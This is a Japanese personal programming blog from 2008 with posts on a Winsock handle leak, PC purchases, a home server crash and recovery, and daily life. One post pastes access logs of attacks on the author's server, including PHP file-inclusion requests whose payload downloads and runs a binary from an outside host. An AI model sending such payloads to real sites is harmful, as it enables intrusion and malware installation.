過去の投稿記事 new!
・【画像】漫画でわかる外国人参政権
・東京電力のHPで停電状態が確認できたり(サービス再開!)
・戦国時代 ~ 江戸時代の徳川家康が熱かった
・vaio のバッテリは寿命が短いような気がする
・話題の Western Digital 製 WD20EARS を購入した
・C01LC をビックカメラで買ってきた
・2025年には空中都市が現実化?!
・【動画】わかりやすい「宇宙ひも理論」
・今世紀には「富士山噴火」「東海連動地震」「首都圏直下型地震」か?
・滅びた町、南浜町が Googleストリートビューで見れる

【 amazon 送料無料キャンペーン 】

バックリンクはご自由にどうぞ!     http://mfsocket.blogspot.com/feeds/posts/default?alt=rss リンク集 / ログイン

2008/04/23
Winsock でハンドルリーク

 
今、あるフリーソフトでハンドルリークしている事がわかりました( ´д`)
 
と言っても環境によっては、発生しているのかひじょーにわかりづらく、
今日まで発見が遅れたのですが。。
 
 
具体的なことはまた更新すると思いますが、ようは
 
   WSAStartup() /  WSACleanup() 
 
 
を対で何回も呼んで、socket を生成しているとハンドルリークするみたいです。
 
 
今まで自分の設計としては "通信をするときだけ"
 
Winsock の初期化/解放をしていた のですが、
 
それでは問題があったようです( ´д⊂
 
 
今テストしている OS は WindowsXPPro/SP2 で、
 
   VC6.0    SP1 Release版のマルチスレッドDLL
   VC2005 SP1 Release版のマルチスレッドDLL
 
でコンパイル/リンクした exe でダメだったので、たぶん 全 Windows で同じ
結果になると思います。
 
 
ソースのイメージとしては以下のとおり
#include <Winsock2.h>
#include <Windows.h>
#include <process.h>

UINT ConnectThread()
{
      SOCKET s;
      s = socket( ... );
     // TCP でサーバと通信する
 
      closesocket(s);
      _endthreadex(0);
      return 0;
}

UINT ManagerThread()
{
      HANDLE h[4];
      int i, ret;
      while( true ){
            // WinSock の初期化 ここだ!
            WSADATA wsa;
          ret = WSAStartup( MAKEWORD(2,0), &wsa );
 
            // スレッドの生成
            for( i=0 ; i<4 ; i++ ){
                 h[i]  = (HANDLE)_beginthreadex( ConnectThread );
            }
            // スレッドの終了待機          
            for( i=0 ; i<4 ; i++ ){
                 WaitforSingleObject( h[i], INFINITE );
                 CloseHandle( h[i] );
            }

            // WinSock の解放 ここ!
            WSACleanup();

            Sleep( 1000 * 20 );     

     }

     _endthreadex(0);
      return 0;
}

 

int main( int argc, char* argv[] )
{
      HANDLE h = (HANDLE)_beginthreadex( ManagerThread );
      WaitforSingleObject( h, INFINITE );
      CloseHandle( h  );
      return 0;
}

 
簡単に説明するとまず、
 
マネージャスレッドというのが、メインスレッドから生成されます。
 
そしてマネージャスレッドからは、実際にコネクション処理を実行する
コネクションスレッドを4つほど生成させます。
 
そのコネクションスレッドの中でソケットのクライアント側をコーディングする
わけです。
 
 
そこでは非常に単純で、socket()  connect()   send()   recv()   shutdown() 
closesocket()  を順にやっていくだけです。
 
蛇足ですが、実際はエラー処理をもっと組み込んでいます。
 
 
そしてそのプログラムを1時間~4時間ほど実行すると、、
落ちます。
 
 
チェックの手順としては、タスクマネージャー等で本プロセスを監視していると、
 
ほんのちょっとずつ・・・ハンドルリークしていってる
 
のがわかります。
 
 
これを回避するには、ソースの中でここ!と書いてる箇所をループの外に出せば
回避可能になります。
 
私の憶測も含まれてますが、
 
   WSAStartup()  は何回コールしても良い → msdn かどっかでもそうあった
 
   WSAStartup() / WSACleanup()  のセットはプロセスで1回のみが良い→結論 

ってな感じですな( ´д`)

2008/04/20
年齢を基準にしての比較をすると

 
最近ちょっと思います。
 
 
自分の年齢を少し振り返ってみると、新人時代に
 
この人マジすげぇΣ(゜Д゜ )
 
と思った人と、年齢が同じになっていた模様( その当時の人と )
 
 
その人は、その時にすでに本を執筆してたり、プログラミング能力が他の人より秀でてたりと、
中々いないすごいお方でした。
 
 
今の自分は、その当時のその人に少しは近づいたのだろうか?
 
 
たぶん、世間の認知度という意味では圧倒的に追いついてない。
 
「自分は自分」というのを私はよく言うのですが、あえて比較してみるのも面白いよ( ´д`)
 
 
 
最近、仕事のことばっかりで、色んな行動を起こす為のペースが大幅に疎かになってるので、
休みの日を有効活用しなければ・・。
 
 
と考えてるけど、、休みになると
 
睡眠の誘惑には勝てません( ´д`)
 
 
平和が大好きなのかもしれない(´・ω・‘)

2008/04/14
ニュースやブログ系をひろってみる 4/14

 
最近ちょっと疲れ気味です( ´д`)
 
以前拾ってたネットニュースも含め、久しぶりに拾ってみますた。
 
 
 
 
 google_logo
 
安いのをピックアップしても、年収が 約1757万円。
 
 
なんすかこの待遇Σ(゜Д゜ ) 
 
 
しかも補助制度充実しすぎ!!
 
 
きっと Google にいるプログラマには誰一人、実力でもお金でも勝て無そう。。( ´д`)
 
神レベルのプログラマが在籍してるんでしょーな。
 
 
 
 
 hikaku_kakou
 
 
日本でもマクドナルドの画像加工には定評がありますが、海外でも変わらないようです。
 
しかしここまで来ると詐欺レベルじゃないのかな?w
 
 
 
 
 hanamaru_teiki
 
うどん好きだけど、毎日食べると絶対空きる 気がする。
 
むしろ、3日目ぐらいで、、、、
 
けど、食べ物での "定期券" っていう発想はかなりいいと思うな。
 
ファミレスとかで使えるような定期券あったらいいなー。
 
 

2008/04/12
パソコンが欲しい欲しい病

 
ここ最近、魅力あふれるパソコンが3つあります( ´д`)
 
 
今回はその魅力あふれるパソコンの紹介をしてみます。
 
私はすでに5台所持しているので、いい加減 置き場所 と 電源 が足り無いのですが。。w
 
 
まずは本当の本当に省スペースPCの、エプソンのST110 です。
st110
 
 
評判としては、PC自体の拡張性には欠けるみたいですが、3Dゲームをバリバリする以外の用途では
普通にいけそうなので、かなり欲しいです。
 
場所を取らないってのが何といっても魅力!
 
評価参考:
 
 
 
 
続いてソニーの TYPE-Uモデル VGN-UX92NS です。
vgn-ux92ns
 
これはモバイルPCとしては、最高のスペックを持っており、かつ最軽量というのに非常に惹かれます!
 
ただ、そろそろ新型が発表されるかもしれない時期でもあり、購入には一歩戸惑ってしまう。
 
評判としては、リカバリディスクが付いていない件や、CDドライブを内臓していない等のデメリットもあるようす。
 
評価参考:
 
 
 
 
 
続いてはDOS/V のPrime Galleria QX です。
PrimeGalleriaQX
 
何よりPCスペックが信じられないほど高いので、メインマシンの乗り換え候補として欲しいんです。
 
ただDOS-Vの評判などを見ていると、購入するのに大きく躊躇( ちゅうちょ )してしまう。
ショップブランドなら仕方ない事なのでしょうか?
 
熱暴走でフリーズするという情報があり、非常に不安な所です。
 
 
 
 
 
 
なお、私もよく利用していた HP( ヒューレットパッカード ) ですが、ここは
 
ディスプレイの性能が・・大分宜しくない
 
かもしれません。
 
 
1台目のCRTディスプレイは、1年ちょいで故障しました。
 
2台目の液晶ディスプレイは、1年ちょいで、接触不良からか赤い縦線を発生させる事が出来ます。
うまく調整すると、回避出来ますが。。
 
あと、内臓のHDDが2台のPCともオシャカになりました。
 
まぁハードディスクに関しては、交換すれば良いので納得ですが( ´д`)
 
それ以外は基本的に好調みたいなので、値段を考えるとHPのパソコンは良いのかも?
 
私の中では、HDDとディスプレイが思ったよりも早く故障する件は、ほぼ確定していますが。。

2008/04/11
自宅サーバーが攻撃されてる件

 
最近、自宅サーバーのアクセスログを見ていると、 PHP の脆弱性を狙った攻撃が
かなり増えています( ´д`)
 
 
進入しようとしてるんだろうけどさぁ。
 
 
攻撃しても無駄なのに(´・ω・‘)
 
 
ってことで最近、アタックしてきたログを貼り付けておきます。
 
IPアドレスは偽装している可能性もあるため、伏字にしといてあげよう。
 
けど、アクセスして進入できるかの結果を知りたい場合、レスポンスを受け取るために、このIPアドレスで
攻撃されてることは間違いなさそうだけどね。
 
たぶん proxy かな?
 
------------------------------------------------------------
62.112.159.16x - - [11/Apr/2008:15:23:27 +0900] "POST /xmlrpc.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:29 +0900] "POST /blog/xmlrpc.php HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:30 +0900] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 301 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:31 +0900] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:32 +0900] "POST /drupal/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:34 +0900] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:35 +0900] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:36 +0900] "POST /xmlrpc.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:38 +0900] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:39 +0900] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:40 +0900] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:41 +0900] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:43 +0900] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 295 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:44 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:45 +0900] "GET /administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:47 +0900] "GET /components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:48 +0900] "GET /administrator/component/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 337 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:49 +0900] "GET /component/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:50 +0900] "GET /com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:52 +0900] "GET /joomla/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:53 +0900] "GET /blog/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:54 +0900] "GET /forum/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:56 +0900] "GET /page/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
------------------------------------------------------------
 
 
しかし、PHP の脆弱性を狙ったアクセスログがここのところ多い。。
 
ほぼ毎日、色んなパターンでアクセスしてきてるんだが。

2008/04/10
HPのnx6120( ノートPC )が完全復活!

 
HPのノートPC nx6120 が完全復活しました!
 
去年の、調子が悪すぎるという記事から約1年たちましたが・・( ´д`)
 
 
原因は、予想通り HDD がイカれてたようです。
 
 
左が新品、右がお疲れ様HDD
P1010288
 
 
なんとか、、自力で入れ替えれました(`・ω・´)
 
 
それにしても、所持してたノートPCってこんなに快適だったとは。。
 
私は5台PCを持ってるのですが、その中でもノートPCが一番体感スペックがあるw 

2008/04/06
電気代に異常が無くなった件

 
以前、電気代が異常な件というのを書いたのですが、あれから2カ月経過し・・今回は、
 
 
電気会社に心配されちゃったΣ(゜Д゜ )
 
 
どんな心配をされたかと言うと・・画像をキャプったので下記に載せてみます。
 
 
クリックで拡大
dennkineta_02
 
 
先月/去年の同月と比べ有り得ないほどの電気の使用量が減ったため、
 
「電気の使用量がおかしいけど、、引越したの?」
 
というご心配だったようです( ´д`)
 
 
 
まぁ、たしかに前月までは 12000 ~ 18000円の請求だったのが、今回は約3分の1の 4000 円代と
大幅に電気の使用量が減ったからかもしれません。
 
 
dennkineta_01
 
それにしても、電気節約したら1万円以上の差が平気で出る今の自分の環境が
怖くて仕方ありません。。
 
古い電機器具が、異常なほど無駄な待機電力を使用していたってことでしょうか( ´д`)
 
もちろん、それだけでは無いでしょうが、、、うーん、もっと減らせるか試してみたいかも。

2008/04/01
エイプリルフール 2008

 
おおおお、エイプリルフール!
 
 
今日は嘘ついてもいいんですよ、奥さん( ´д`)
 
 
実際何も無いけど、毎年 4/1 のエイプリルフールは、ちょっとだけワクワクします。
今年は、ためしに会社の同僚に "軽い嘘" ついてみますた。
 
それなりにありえない話をしたつもりなのですが、、
 
信じてもらえたので、ちょっと申し訳なかったw
 
 
さてさて、今年もネット上でも色々と企画を練ってたりするのでしょうか?
 
情報収集してないのでわかりませんが、皆さんもだまされないように?お気をつけ下さい( ´д`)
 
 
関連記事:

2008/03/30
サーバー復活!!

 
自前サーバ復活しました(`・ω・´)
 
 
全ソフトウェアの再インストールの手順をメモってるほど余裕は無かったのですが、
意味不明になりそうな箇所だけはメモとして残しておいたので、
 
 
再度ぶっ飛んでも・・大丈夫( ´д`)
 
 
まる1週間、自宅サーバが無かった状況は不安で不安で仕方なかったです。
 
次からはバックアップの知識を少しでも高めていかないと。。
 
 
一言:
今週の休みはまるまる潰れたよ(´・ω・‘)

自宅サーバ、完全手動リカバリ中・・

 
10時間ぶっ通しで、自宅サーバ復旧中です( ´д`)
 
 
残すところ、fast cgi と tomcat の確認だけなのですが、fast-cgi の方が思った以上に
手ごわいです。。
 
2006年の俺よ、、、
 
 
よくインストール完了出来たな? (゜Д゜ )
 
 
MySQL の構築も若干はまりました。
 
C/C++ からの開発環境も合わせてインストールするので、実行バイナリだけあっても
足りないんす。
 
 
しかしながら、今のところ一番ハマったのが
 
C/C++での CGI の実行
 
です( ´д`)
 
 
Apache2.0 の罠にハマったわけなんです。
 
Premature end of script header というエラーなんですが、、
この結論は "カレントディレクトリの権限" だったので、もう泣きそうです(´・ω・‘)
 
 
 
クソー、なんとか今日中に復旧したい・・
 
メールサーバも復旧出させたこの勢いで fast-cgi も頼む。

2008/03/23
自宅サーバー死んだのは辛い・・

 
自宅サーバーがお亡くなりになりました( ´д⊂
 
 
やっぱりバックアップ取ってないのが痛い。
 
インストールしてある設定ファイルのバックアップが無いと、
 
もう二度とサーバー立てたくなくなる・・ぐらい辛い。
 
 
昔 Windows 98 を使用してた時、1週間に1回OSの再インストールを求められてた経験が5カ月ぐらい
あり、
 
650M の CD-ROM を 500 枚以上焼いてた
 
記憶があります。
 
なので Windows に関しては、かなりセーフティに使うようにしてるので、98 の次以降でぶっ飛んだのは
Windows 2000 で3回ぐらいです。
 
と言ってもローカルのデータは全てレスキューできたので、困ることはインストールにかかる時間ぐらいでした。
 
 
そして今回は、何が最悪かと言うと
 
データをレスキューする難易度が高いんです( ´д`)
 
たぶん、Linux に関しては自分の知識が足りないと思うのでプロの管理者には到底なれないでしょう。。
 
 
サーバーPCのHDD を取り出して、Windowsに繋げて下記のを試してみたのですが、
 
 
 
 
期待通りの結果は得られませんでしたorz
 
 
そもそも復旧コマンドを打つタイミングを間違えてしまったのが痛いです。
 
e2fsck というコマンドでファイルシステムをチェックするのですが、ドライブをアンマウントせずに
やってしまったため、色々と不都合が出た模様。
 
 
そして色々とあり、何とかシングルユーザーモードにはなれたので、ftp を駆使して必要な設定ファイル
だけでも Windows PCにコピーは出来ました。
 
 
新品の HDD を注文したけど、今まで、色んな設定をしてきたのでやる気が・・・
 
次やるときは、すべての手順( 必要になるもの全て )を、メモに残しておき、
 
再インストールにかかるのは時間だけ
 
という状態に、Linux PCでも成れるようにしておかないとダメですね。。
 
 
 
 
 
 
 
あああ、自宅メールサーバーがしばらく使えない( ´д⊂
 

2008/03/22
Doja5.0/5.1 エミュレーターのバグ・・

 
Doja 5.0/5.1 のエミュレ-ターにはバグがあるようです。
 
どうもこのバグは "普通に使ってるひと" には発生しないので、実践的な?開発スタイルの人に
だけ影響出ている感じです。
 
 
具体的には doja.exe をプロンプトから起動している人などは、
 
System.out.println() のデバッグ出力が一切表示されません。
 
 
これを回避するためにパイプ用のプログラムを用意してやらないといけないのですが、
都合の良いプログラムが無かった為、自作しました。
 
ということで、せっかくなので rprint というツールを vector で公開します( ´д`)
 
 
自宅サーバーがお亡くなりになったので、そっちでは公開できないんです( ´д⊂

2008/03/20
ニュースやブログ系をひろってみる 3/20

 
最近のニュースを拾ってみますた。
 
 
google_suisu
 
Google では食事が食べ放題/飲み放題との事で、我々一般人には羨ましい限り( ´д`)
 
これだけ環境が整ってる現場で、一度は働いてみたいと思ってしまう。
 
 
日本でこーいう職場は想像も付かない・・
 
 
 
 
 
 vista_logo
 
今回のSP1では 570 種類のバグフィックスが含まれてるそうです。
 
私も WindowsVista を使ってるので、少し様子を見た後に適用してみます( ´д`)
 
Windows Media Player のバグも修正されるのは助かるなー。
 
 
 
 
 
 
pokari
 
缶コーヒー「ワンダ」シリーズの飲料商品の値上げを検討との事。
 
その影響で、他の缶ジュースも一斉に値上げされる可能性も十分ありそうですね。
 
ちょっと昔は 90円  100 円 の自動販売機もよく見かけた記憶があるのですが、今では 120 円より安い
自動販売機を見かけることは、ほとんどありません(´・ω・‘)
 
 
 
 
 
 

2008/03/16
花粉・・

 
ああああ、
 
 
花粉症になってしまったようです(|||゜Д゜)
 
 
症状としては 鼻水や目の痒さが辛いですが、今のところ
 
鼻水 >>>> くしゃみ >>目の痒さ
 
と鼻水で、鼻がつまってしまい鼻呼吸が出来ないのがかなりシンドイです。。
 
かなり昔に、鼻呼吸で過ごしているとほぼ風邪を引かないというのを自ら実証できて以来、呼吸は常に
鼻で行うようにしてたので、口呼吸をずっと続けるのは辛い。
 
 
体が外敵から身を守ろうとして活発なのは良いけど、くしゃみが止まらないのも辛い( ´д`)
 
1回のくしゃみは 2k~4k カロリーも消費するので、かなり体力が奪われる。。
 
 
関連記事:

2008/03/13
泣けるAAで泣いた

 
感動のお話です。悲しい方で・・
 
お時間のある方はどうぞご覧下さい。
 
泣けるAA
     
 
見れない方はここ
 
 
最初に流れてるBGMの2曲は、ひぐらしの音楽みたいですね。
 
ひぐらしの曲って、テキストでの演出作品と相性良いよ。

2008/03/11
テトリスっぽいの作りますた

 
コマンドプロンプト上で動く、テトリスっぽいゲーム作りますた。
conTetris.jpg
 
 
アルゴリズムの作成/実装に1日、デバッグ1日で2日かかってしまったわけですが、
プロンプト上でゲームっぽく動作させる方法の検証で2時間ぐらいかかってしまった。
 
時間に直すと、4時間+5時間で9時間労働だね。
 
 
なんでコマンドプロンプト上で作ったのかと言うと、コマンドプロンプトと言う
環境でのゲームにちょっと製作意欲がわいたのです( ´д`)
 
 
まぁ完全な趣味というやつですが・・
 
 
先ほど vector に登録申請をしておいたので、たぶん来週ぐらいに公開されると
思うので、少し興味ある人はどうぞやってみてください。こちらから落とせます。
 
毎フレーム画面を更新せざるを得ないので、幾分描画がちらついてるかと
思いますが。。。 
 
ダブルバッファリングは、プロンプトでのテトリスでは無理ぽそうです( ´д`)

ゲームプログラマの待遇について語ってみる

 
せっかくのブログなんだし、決意も新たにゲームプログラマの待遇についての、世間の相場
を想像してみようと思う。
 
 
最初に断っておきますが、全部憶測です( ´д`)
 
一つの憶測情報として参考になればと思い。。ね。
断定している所もありますが、あくまで目安としてご覧下さい。
 
 
・まず大前提として、ゲームプログラマの月給は安い。
 ただし新入社員として見ると、そこまで安いわけではないと思う。月給は。
 
・一日3時間程度の残業では、残業代がほぼ出ない( 月給が、x時間見なし残業含まれてる )所が多い。
 
・ボーナスが無い所は・・全体的に見て半々ぐらいか?
 
・自社開発を行う会社では、インセンティブ等の「売れたら還元するよ」的な報酬もある。
 
・遅刻すると、遅刻した 時間(分) を、区切りの良い単位に切り上げられた後、給料から引かれる。
  >一部の大手ではあまり無いと思われる。
 
・年収としてみると、労働時間の割には相場はかなり低い。
 
・年収としてみると、IT系のプログラマより相場は低いか
 
・当たり前かもしれないが、この業界も大手と小さい会社では給料の相場も大分違う
   [例]
    ・同時期に Aという大手の会社 と Bという下請け会社に入った場合、新入社員の月給が
       18万で同じだとしても、年収では 100万以上の差が付く場合も普通にある。
   残業手当、ボーナスがあるかどうかだけで・・
 
         18万 * 12カ月  = 年収 216万  :  ボーナス無し           中小企業
         18万 * 16カ月  = 年収 288万  :  ボーナス4カ月有り 大企業
 
 
ゲームプログラマに限ったことでは無いかもしれないけど、ここには書いてないような事も、大手と
小さい会社では色々と待遇面で違いがあります。
 
プログラミング以外の求められる業務能力も色々とあったり。特に中小企業では。
 
 
ゲームプログラマを目指す人って、やっぱりゲームが好きだから目指してますよね。
 
もし数年働いて、、ある時期から "お金" のことを気にし始めたら、歯止めがきかなくなる可能性が
高い業種とも言えます。
 
ってことで私が想像するに、どーいうタイプの人が向いてるか書いてみると、
 
 
A. 
・対価( お金 )は、働いた分は絶対に欲しい。
・幅広く仕事もこなしたくないし、ゲームプログラミング能力だけでもTOPを目指したい。
 
   >大手のゲーム会社を選ぶのが良い
 
--------------------------------------------------------------------------------------------------------  
B. 
・対価( お金 )は、ある程度働いた分は欲しい。
・ゲーム以外にも幅広くこなせるようになりたい。
 
   >中小企業のゲーム会社を選ぶのが良い
 
--------------------------------------------------------------------------- 
C. 
・お金は気にしないので、とりあえず働ければ・・
・パルプンテを体感してみたい!!
 
   >小さいゲーム会社を選んでみるのも面白い
 
 
ゲームプログラマを目指す人達に一言言うとすると、自社コンテンツを持ってる会社の方が
本人の "作りたいゲーム" を作れる機会は多いんじゃないかな。
 
新卒で下請け会社だと、ゲームプログラマーという職業がイヤになる可能性が高いかもしれません。
 

2008/03/09
我が迷いは晴れた

 
ここ5カ月、潜在的にはもっと長く、心の中のもやもやが取れました( ´д`)
 
人には、自分を見つめなおすという時間は必要だと思う。
 
実際取れない( 見つめ直す時間を作らない※1 )人の方が多い世の中だけど。
 
※1
作れないと言ったほうがイイのかもしれないけど、「本当に作れないの?」と大抵の場合思う。
何かしらの犠牲はあるのは当たり前なんだから。
 
 
先日、以前勤めていた会社の人と2年振り?に偶然出会ったので、飲みにいってきました。
 
そして、その人が放ってるオーラを受けたのか、以前閃いたネタを再度掘り起こすことが出来た。
 
自分の中の "夢" を達成するにも、別スレッドで切り開いてみる。
 
 
ぶっちゃけ "夢" ってのはほぼ達成できないものと思ってるんだけど、
閃いたネタには手ごたえを感じてます。
 
・・情報収集するのに、けっこう骨折りそうだけど( ´д`)
 
 
それにしても、たかだか2年と感じてしまうけど、人って成長するよね。
 
 
同僚とかの近況を聞いてると
 
「自分だけが成長してないんじゃねぇか?」
 
と思ってしまう、弱い心があったりするんです。
 
 
マンネリ化している状況に満足し始めたら、成長は急激になくなってしまう。
 
 
初めて勤めた会社を辞める時、世間を見ることを選んだ自分は間違ってなかったのは間違いと思う。

2008/03/06
C/C++ が面白くて仕方が無い

 
最近特に思うんです( ´д`)
 
 
C/C++ でプログラミングすることが楽しすぎる!
 
 
以前までは、Windows での C/C++ にのめり込んでいたのですが、最近は Linux/g++ での
プログラムが楽しくて仕方ない。
 
基本は Windows で作成したクラスライブラリを Linux でも使えるようにする事がメインなのですが、
Windows で書いたCUIツール( コード )をほぼそのまま Linux でも使えるし、
 
すっげぇ自己満足に浸ってます( ´д`)
 
 
プライベートの時間使って、こんな事に打ち込んでる私は、ある種異常者かもしれない。。
 
 
ネタとしては、最近こんな事やって遊んでます。
 
自宅サーバーのメールアドレス( 受信専用・・ )を使って、コマンドメールを受信したら、自宅マシンの
プログラムを起動し、レスポンス( 送受信可能なアドレスから )を返します。
 
これによって何が出来るかと言うと、携帯電話さえ持ってれば、
 
全国どこに言っても、自分が定期的に行う作業をメールで送って、結果をメールで取得できる
 
わけです。
 
もちろん起動するプログラムは予め作成しておいておく必要があります。
 
このやりたい事というのを万人向けに説明すると、例えば youtube  に自分が見たかった動画がアップロード
されてることを知りました。
 
しかし今は自宅にいないため、ダウンロードできません。
 
そこで、メールの件名に「動画」 本文に動画ID「hogehoge」 と書いて送ると、自分のマシンがダウンロードしに
いってくれます。
その後、成功/失敗のメールが数分後に送られてくるわけですね。
 
 
その欲しかった動画が削除されやすい動画の場合なんかもあると思うのですが、これさえあれば見つけた段階で
携帯のメール送るだけでOKなので、「あぁ削除されてる・・」という事も避けやすくなります。
 
ぶっちゃけ、人に送るメールより、機械に送るメールの方が圧倒的に多い自分は痛い・・のか?
 
 
後はセキュリティ実装を入れるべきだけど、とりあえずは送信元のメルアドチェックぐらいですかね。
 
ちなみに http/smtp/pop3 全部自前実装なので、細かいヘッダのチェックも( 簡単に )可能だったりするので、
いざという時もデバッグしやすい。
 
とは言っても、perl ならこの程度の実装は( ライブラリが充実してるので )かなり簡単と思われる、、が、Windows で
高度なことをやりたい場合があると考えると、C/C++ で実装している意味はあるかな。※1
 
※1
例えばサーバー自体に、共有メモリ、ファイルマッピング、Windows( 又は Linux )ネイティブAPIの呼び出しなどがある場合。

2008/03/03
色んなカップ麺を食べた

 
カップ麺を色々と食べてみたので、今日はまとめてレビュー?します( ´д`)
 
 
今更ですが、レビューの方針としては "不味い" や "調子が悪くなる" などのは詳しく書く予定です。
 
普通に美味しいのは、そんなに表現する言葉がなくて・・(゜Д゜ )
 
 
それじゃあ、まずはセブンイレブン限定の醤油ラーメン(\150)。
P1010258
 
 
かやく類じは3種類ほど入ってます。
P1010257
 
 
飛んで・・完成
P1010256
 
 
